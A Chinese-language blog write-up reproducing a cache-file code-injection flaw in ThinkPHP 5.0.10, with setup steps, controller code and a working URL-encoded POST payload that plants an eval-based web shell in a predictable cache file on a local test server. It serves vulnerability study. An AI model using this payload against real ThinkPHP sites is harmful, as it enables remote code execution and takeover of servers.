ThinkPHP缓存函数设计缺陷导致GetShell漏洞复现
in PENETRATIONCode-Audit with 1 comment

ThinkPHP缓存函数设计缺陷导致GetShell漏洞复现

in PENETRATIONCode-Audit with 1 comment

环境配置

1,php和mysql的环境就不多说了

2,ThinkPHP框架下载

      http://www.thinkphp.cn/down.html 最新版

3,配置
thinkphp 开发手册
https://www.kancloud.cn/manual/thinkphp5/118003

简单描述一下复现过程

生成一个app,在thinkphp根路径下执行:

 `php think build --module home  `

就可以生成一个名为home的模块

Image.png

修改home下的index.php文件,在文件中添加基本的调用。添加以下代码:

<?php
namespace app\home\controller;

use think\Controller;
use think\Request;
use think\View;
use think\Url;
use think\Session;
use think\Db;
use app\home\model\Test as t;

use think\Cache;

use app\home\model\Article as a;
class Index extends Controller
{

    public function add(){
        $post = input('post.');
        $article = Db::name('article')->insert($post);
        var_dump($article);

    }
    public function Cache(){
        $article = Db::name('article')->field('*')->select();
        Cache::set('name',$article,3600);

    }
}

以上代码中,添加了两个函数,分别为add()Cache(),add函数的目的是在数据库中插入数据(数据是完全可控的)
Cache函数的目的是将数据库中的内容读出来,然后保存在缓存文件中。

thinkphp的缓存就是为了提高访问速度,减少了与数据库的交互。

漏洞在于,将数据库中的内容读出来写入缓存文件的时候由于过滤不严格,导致了php代码的注入,而缓存文件名又是不变的,所以才会导致getshell。

继续配置。

修改application 目录下的database.php文件,填好你自己的数据库参数

Image.png

* 注意数据库要填正确。

在本地数据库中创建表,上述代码中
$article = Db::name('article')->field('*')->select();
其中的article就是表名,确保这个表中有一个叫做content的字段(varchar类型)(也可以不是content,但在后面post时参数要修改相同)
Image.png

漏洞利用

http://127.0.0.1/thinkphp5.0.10/public/index.php/home/index/add
POST内容:content=%2f%2f%0d%0a%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%23

这里是调用add函数,向数据库中插入污染数据:

Image.png
Image.png
然后继续调用Cache函数;

http://127.0.0.1/thinkphp5.0.10/public/index.php/home/index/cache
Image.png

这时候,就在缓存目录下生成了缓存文件:

Image.png

来看看缓存文件的内容:

Image.png

注意到,第一行被注释了,其实第二行在缓存后也是注释的,但在POST的payload中,有一个%0A ,这是编码后的回车,所以这里巧妙地脱离了注释,代码得以执行。

Image.png

参考:

https://xianzhi.aliyun.com/forum/read/1973.html
https://www.kancloud.cn/manual/thinkphp5/118013

下一篇为完整的漏洞分析

Responses